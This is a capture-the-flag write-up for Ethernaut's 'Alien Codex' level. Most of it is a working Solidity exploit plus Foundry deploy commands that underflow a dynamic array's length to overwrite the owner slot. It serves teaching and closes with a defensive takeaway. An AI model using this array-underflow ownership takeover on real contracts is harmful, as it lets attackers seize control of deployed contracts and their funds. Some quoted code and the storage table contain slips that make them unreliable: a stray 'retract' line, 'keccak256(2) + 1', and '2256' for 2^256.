Ethernaut Level 19 - Alien Codex
Analysis and solution for Ethernaut's Level 19 - Alien Codex, with Solidity and Foundry
Objectives
Our only objective here is to become the owner of the contract. To complete this level, we must know the concept of dynamic arrays and how their slot packing works, along with overflows and underflows. Let's dive in.
Analysis
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}retract
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
We can see in the above contract that there's no owner
variable. This is because it is coming from the inherited Ownable
contract. If we look into the Ownable.sol
, we can see that the variable address private _owner;
is defined in the slot 0 of the contract.
retract
pragma solidity ^0.5.0;
// some comments
contract Ownable {
address private _owner;
...
Now that that's clear, let's learn how dynamic arrays work.
Assuming the dynamic array starts at a slot location p
, then the slot p
will contain the total number of elements stored in the array, and the actual array data will be stored at keccack256(p)
. More info on this can be found in the Solidity Docs.
Let's go through the organization of the storage layout in our vulnerable contract:
Slot Number | Variables |
0 | bool public contact and address private _owner (both are in slot 0) |
1 | codex.length (Number of elements in the dynamic array |
.. | .. |
.. | .. |
keccak256(1) | codex[0] (Array's first element) |
keccak256(2) + 1 | codex[1] (Array's second element) |
.. | .. |
.. | .. |
2256 - 1 | codex[2256 - 1 - unit(keccack256(1)) |
0 | codex[2256 - 1 - unit(keccack256(1)) + 1 (slot 0 access, remember overflows?) |
To finish the level we need to do the following steps:
- Call the
make_contact()
function so that thecontact
is set totrue
. This will allow us to go through thecontacted()
modifier. - Call the
retract()
function. This will decrease thecodex.length
by 1. And what happens when you subtract 1 from 0 (initial array position)? You get an underflow. This will change thecodex.length
to be 2256 which is also the total storage capacity of the contract. This will now allow us access to any variables stored in the contract. - Call the
revise()
function to access the array at slot 0 and update the value of the_owner
with our own address. The indexi
can be calculated as shown in the slot table above.
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
The _content
is of type bytes32
which means we need to convert our address to bytes32
. This can be done using the following code:
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
The Exploit
Here's how the exploit code looks:
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../instances/Ilevel19.sol";
contract AlienHack {
AlienCodex level19 = AlienCodex(0x752dD58810d09984504e080098A0c3Cf26C9093e);
function exploit () external {
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
level19.make_contact();
level19.retract();
level19.revise(index, myAddress);
}
}
We are calculating the index on which the slot 0 exists, converting our address to bytes32
. The function retract()
is called to underflow the array and then it is updated using the revise()
function which is storing our address into the _owner
variable in slot 0.
Let's deploy the contract using the following command:
forge create AlienHack --private-key $PKEY --rpc-url $RPC_URL
and call our exploit()
function which will make us the owner:
cast send 0xb8131b26fa82A0d09fd7Aa186F7157418774e192 "exploit()" --private-key $PKEY --rpc-url $RPC_URL
We can check the new owner through the console using await contract.owner()
. The instance can now be submitted to finish the level.
My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry
My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..
Takeaways
Never allow modification of the array length of a dynamic array as they can overwrite the whole contract's storage using overflows and underflows.